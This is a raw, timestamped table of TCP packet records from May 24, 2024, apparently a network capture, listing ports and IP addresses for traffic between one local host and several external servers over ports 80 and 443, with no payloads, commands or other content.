May 24, 2024 13:42:04.404160976 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.404192924 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.404222965 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.404261112 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.404905081 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.404997110 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.405237913 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.405271053 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.405292034 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.405303955 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.405313015 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.405339956 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.405344963 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.405370951 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.406040907 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.406079054 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.406112909 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.406136036 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.406174898 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.406883001 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.406944036 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.407155991 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.407190084 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.407212019 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.407219887 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.407236099 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.407253981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.407267094 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.407291889 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.407527924 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.408015966 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.408050060 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.408061028 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.408083916 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.408107042 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.408119917 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.408133030 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.408148050 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.408157110 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.408200026 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.408786058 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.408905983 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.409054995 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.409219027 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.409265041 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.409296989 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.409322023 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.409353018 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.414094925 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.415831089 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.415885925 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.416002035 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.416069031 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.416255951 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.416311979 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.416906118 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.416939020 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.416961908 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.416990995 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.417041063 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.417088985 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.419703007 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.419744968 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.419795036 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.419859886 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.419958115 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.420001984 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.420018911 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.420036077 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.420037985 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.420069933 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.420577049 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.420624018 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.420667887 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.420722008 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.420936108 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.420969963 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.420989990 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.421008110 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.421406984 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.421439886 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.421458006 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.421472073 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.421472073 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.421504974 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.421521902 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.421542883 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.422224045 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.422271013 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.422799110 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.422833920 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.422843933 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.422864914 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.422872066 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.422899008 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.422900915 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.422935009 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.422971010 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.423360109 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.423394918 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.423404932 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.423428059 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.423456907 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.423461914 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.423495054 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.423497915 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.423518896 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.423538923 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.424216032 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.424249887 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.424258947 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.424283028 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.424288988 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.424318075 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.424348116 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.424375057 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.425105095 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.425141096 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.425168991 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.425172091 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.425192118 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.425205946 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.425215006 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.425237894 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.425267935 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.425287962 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.425961971 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.425996065 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.426022053 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.426029921 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.426054955 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.426064014 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.426093102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.426095009 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.426111937 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.426127911 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.426131010 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.426165104 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.426814079 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.426848888 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.426848888 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.426888943 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.427723885 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.427768946 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.428304911 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.428338051 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.428363085 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.428391933 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.428494930 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.428561926 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.430058956 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.430092096 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.430140018 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.430140018 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.430201054 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.430255890 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.431162119 CEST	443	49751	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.431217909 CEST	49751	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.431382895 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.431416035 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.431451082 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.431467056 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.431487083 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.431541920 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.433408976 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.433442116 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.433497906 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.433779955 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.433841944 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.433866024 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.433918953 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.434243917 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.434304953 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.435118914 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.435153961 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.435188055 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.435189962 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.435189962 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.435240984 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.436448097 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.436480045 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.436515093 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.436537027 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.436554909 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.436587095 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.436605930 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.436691999 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.437925100 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.437990904 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.438036919 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.438112974 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.438256025 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.438288927 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.438309908 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.438339949 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.439543962 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.439608097 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.440709114 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.440743923 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.440762043 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.440778017 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.440798998 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.440828085 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.442235947 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.442267895 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.442301035 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.442322016 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.442332029 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.442383051 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.443023920 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.443056107 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.443074942 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.443165064 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.443706036 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.443826914 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.447776079 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.447808981 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.447834015 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.447869062 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.447886944 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.447942019 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.448086023 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.448121071 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.448141098 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.448151112 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.448194027 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.448379040 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.448436975 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.450567007 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.450596094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.450649023 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.450655937 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.450751066 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.450812101 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.450825930 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.450829029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.450855017 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.450870037 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.450993061 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.451036930 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.451572895 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.451627970 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.451632977 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.451711893 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.451884031 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.451900959 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.451926947 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.451942921 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.452537060 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.452583075 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.453459024 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.453478098 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.453495979 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.453510046 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.453511953 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.453522921 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.453538895 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.453553915 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.453586102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.453625917 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.453793049 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.453810930 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.453831911 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.453847885 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.454538107 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.454600096 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.458591938 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.458664894 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.463943005 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.464041948 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.472141027 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.472201109 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.473706961 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.473720074 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.473772049 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.473818064 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.473830938 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.473841906 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.473855019 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.473865986 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.473903894 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.474405050 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.474503040 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.474534035 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.474596977 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.475130081 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.475197077 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.475277901 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.475344896 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.475824118 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.475874901 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.476914883 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.476927996 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.476965904 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.491811991 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.491852045 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.491862059 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.491871119 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.491880894 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.491883039 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.491915941 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.491935968 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.491978884 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.491990089 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492001057 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492012978 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492013931 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.492031097 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.492053986 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.492238998 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492250919 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492280006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.492299080 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.492492914 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492503881 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492512941 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492522955 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492531061 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.492532969 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.492542982 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.492569923 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.493336916 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.493349075 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.493357897 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.493369102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.493393898 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.493421078 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.494004965 CEST	49751	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.494060040 CEST	443	49751	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.494533062 CEST	443	49751	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.494596004 CEST	49751	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.495210886 CEST	49751	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.496887922 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.497054100 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.542488098 CEST	443	49751	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.751283884 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.751347065 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.751565933 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.751617908 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.751954079 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.752002001 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.752480030 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.752490997 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.752499104 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.752528906 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.752561092 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.753432035 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.753479958 CEST	49737	80	192.168.2.4	91.202.233.232
